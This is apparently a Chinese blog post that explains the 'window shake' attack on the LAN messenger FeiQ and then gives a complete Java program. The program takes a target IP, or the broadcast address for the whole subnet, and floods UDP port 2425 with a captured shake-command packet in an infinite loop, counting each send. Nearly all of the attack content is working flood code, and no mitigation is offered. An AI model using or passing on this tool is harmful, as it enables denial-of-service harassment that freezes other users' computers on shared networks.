前言
之前有小伙伴问星愿说 有人在飞秋/内网通里面大规模的频繁的发送窗口抖动 导致电脑卡顿 是怎么回事 之前有人说是内网通讯软件的Bug 星愿本人也用过类似的软件 觉得事情并不简单 后来查阅了一些文档 这件事情才算是水落石出
关于飞秋
飞秋(FeiQ)是基于 TCP/IP(UDP). 完全兼容网上广为流传的飞鸽传书(都同样使用TCP/UDP的2425端口)并比原来飞鸽功能更加强大
飞秋在使用方面 也很简单 只要保证所有的主机 在同一个局域网下 就能实现内网通讯功能
案例导入
FeiQ作为一款内网通讯软件 只要在同一个内网环境下 就可以实现时事通讯的功能 众所周知 一款成熟的软件出现 Bug 是一个很偶然的事情 而且是大范围的出现 Bug 并且频繁的出现就不正常了 所以我怀疑不是 程序本身问题 而是认为介入导致的
实现原理
说起飞秋的"震动攻击" 不由得让星愿想起了 08年一时席卷QQ的 QQ炸弹 回归正题 百度搜索飞秋 在百度百科 你会看到 FeiQ 是一款 基于 TCP/IP(UDP)传输协议的 内网通讯软件
详细解释在我的另一篇文章[TCP/IP]TCP/IP与UDP网络协议的区别
剩下的就是代码了
package cn.starwish;
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.util.Scanner;
public class UdpForce {
public static void main(String[] args) throws IOException, InterruptedException {
// Create data package interface object --创建数据包接口对象
@SuppressWarnings("resource")
DatagramSocket da = new DatagramSocket();
// If you change IP address to 255.255.255.255 it will be send information public -- 如果输入的IP 为 255.255.255.255 那么将会对全网段发送信息
System.out.print("输入要攻击的IP:");
Scanner input = new Scanner(System.in);
String ipAddr = input.nextLine();
// This is the code to attack interface We can get it for catch package -- 我们可以通过对飞秋进行抓包的方式 获取到实现攻击的代码(窗口震动)
String a = "1_lbt4_0#128#000C29D68D8F#0#0#0#2.5a:1399716676:%s:%s:209:.";
byte[] by = a.getBytes();
int fuckNum = 1;
while (true) {
// Used udp to forced interface The FeiQ sort is 2425 -- 使用udp协议 向其他用户的飞秋的端口(2425)发送信息
DatagramPacket daPacket = new DatagramPacket(by, by.length, InetAddress.getByName(ipAddr),2425);
// Send information -- 这里使用了 while 形成死循环 不间断的向目标发送信息
da.send(daPacket);
// Count -- 统计攻击次数
System.out.println("已发射"+(fuckNum++)+"次!");
}
}
}
愿你走出前半生 归来仍是少年